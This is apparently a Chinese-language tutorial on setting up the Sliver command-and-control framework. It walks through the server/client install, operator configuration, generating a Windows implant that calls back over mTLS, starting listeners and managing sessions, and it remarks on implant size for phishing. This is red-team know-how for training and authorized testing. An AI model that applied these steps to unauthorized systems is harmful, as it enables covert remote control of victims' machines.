Sliver的配置及使用
Sliver简介
Sliver是一款开源的Go语言C2,支持生成常见架构的木马。Sliver支持多种通讯协议如DNS、mTLS、HTTP(S)、WireGuard。
项目地址:https://github.com/BishopFox/sliver
文档:https://github.com/BishopFox/sliver/wiki
主要特点:
- 动态编译、编译时混淆
- 多人模式
- 分阶段和无阶段payload
- 多通讯协议支持
- 内置Windows 进程迁移、进程注入、用户令牌操作等
- BOF、.NET assembly execution…
Sliver架构
首先来看一下Sliver的架构,可以明显看出Sliver在设计上是考虑了多用户以及多平台木马生成。
Sliver重要概念
在开始之前,先了解一下Sliver的重要概念,以便更好的理解Sliver的使用。
Server 控制台
Server 控制台是主界面,在运行Sliver服务器可执行文件时启动。Server 控制台是Client 控制台的超集。
所有代码在Client/Server控制台之间共享,但与客户端(即operator)管理相关的服务器特定命令除外。
Server 控制台通过内存中的gRPC接口与服务器进行会话。
Sliver Server
Sliver服务器也是Sliver服务器可执行文件的一部分,负责管理内部数据库,启动/停止网络监听器(例如C2监听器,不过还有其他类型)。
Sliver用于与服务器交互的主接口是gRPC接口,通过该接口可以实现所有功能。
默认情况,服务器只启动只能从Server 控制台与之通信的内存gRPC监听器。不过,gRPC接口也可以通过双向TLS(mTLS)向网络公开(即多人模式)。
Client 控制台
Client 控制台是用于与Sliver Server交互的主要用户界面。请注意,Server 控制台中的大多数代码实际上是Client 控制台。
Client 控制台还可以编译成单独的客户端二进制文件sliver客户端,该客户端通常用于连接到“多用户”gRPC网络监听器。
Implant
在希望远程访问的目标系统上运行的实际恶意程序。
1 | [ Server 控制台 ] --(In Memory gRPC)--> [ Sliver Server ] --(不同 C2 协议)--> [ Implant ] |
Sliver安装配置
环境示例
Sliver Server:Ubuntu 20.04 LTS
Sliver Client:Kali
目标机器:Centos7 Windows 2019
Sliver Server安装配置
1 | wget https://github.com/BishopFox/sliver/releases/download/v1.5.16/sliver-server_linux #下载服务端程序 |
输出以下信息就是已经完成了Sliver Server的安装
如果是单用户,到这步已经完成了安装,可以直接在终端执行相关命令。但如果是多client协同则还需要进行下面的步骤:
生成client端配置文件
1 | new-operator --name BTSEC --lhost <Server IP> #新建一个client |
这时,server默认会监听一个端口31337,可以修改掉~/.sliver/configs/server.json
Sliver Client安装配置
1 | sudo apt-get install mingw-w64 binutils-mingw-w64 g++-mingw-w64 #安装依赖 |
Client连接server端成功后输出如下
这样就完成了C/S架构的Sliver安装配置
Sliver常用操作
基本命令
1 | help #帮助 |
生成implant
implant主要支持:mac、windows、linux
Tips:生成implant超时一般是网络环境问题
1 | generate --mtls <Server IP> --save ./test.exe --os Windows |
因为是go打包的,所以implant一般是10M以上。这点一定要注意,如果做钓鱼马会太大。
开启listener
1 | mtls |
implants命令可以查看生成过的implants,包括回连信息
执行木马后,如果成功回连则会有一条通知同步client和server,通知内容主要包含session id、外网IP、主机名、平台、时间
可以通过sessions查看目前的会话
会话操作
1 | sessions -k 0edf9fb8 #杀死会话0edf9fb8 |
help命令
help命令可以查看当前可以执行的命令,help + 具体命令就是该命令的详细帮助,命令同样也是分为通用命令和平台专有的命令
精力所限,Sliver的其他功能,比如BOF、Pivots、beacon等功能在此不再一一介绍。
小结
通过本文的简单介绍,可以看出Sliver已是一个功能较完善的C2,但易用性有待提升,比如没有GUI界面。而且多数库因网络环境受限,快速上手还是不怎么方便,但是因为开源的优势,对于有开发能力的同学还是很香的。
2022.07.17 补充 Sliver GUI 开发版开源,作者自述bug很多
除了Sliver以外,也可以关注C2Matrix这个项目。C2Matrix维护了大量商业/开源C2的各项参数对比,可以根据需要选择合适的C2。
参考资料
https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0
https://github.com/BishopFox/sliver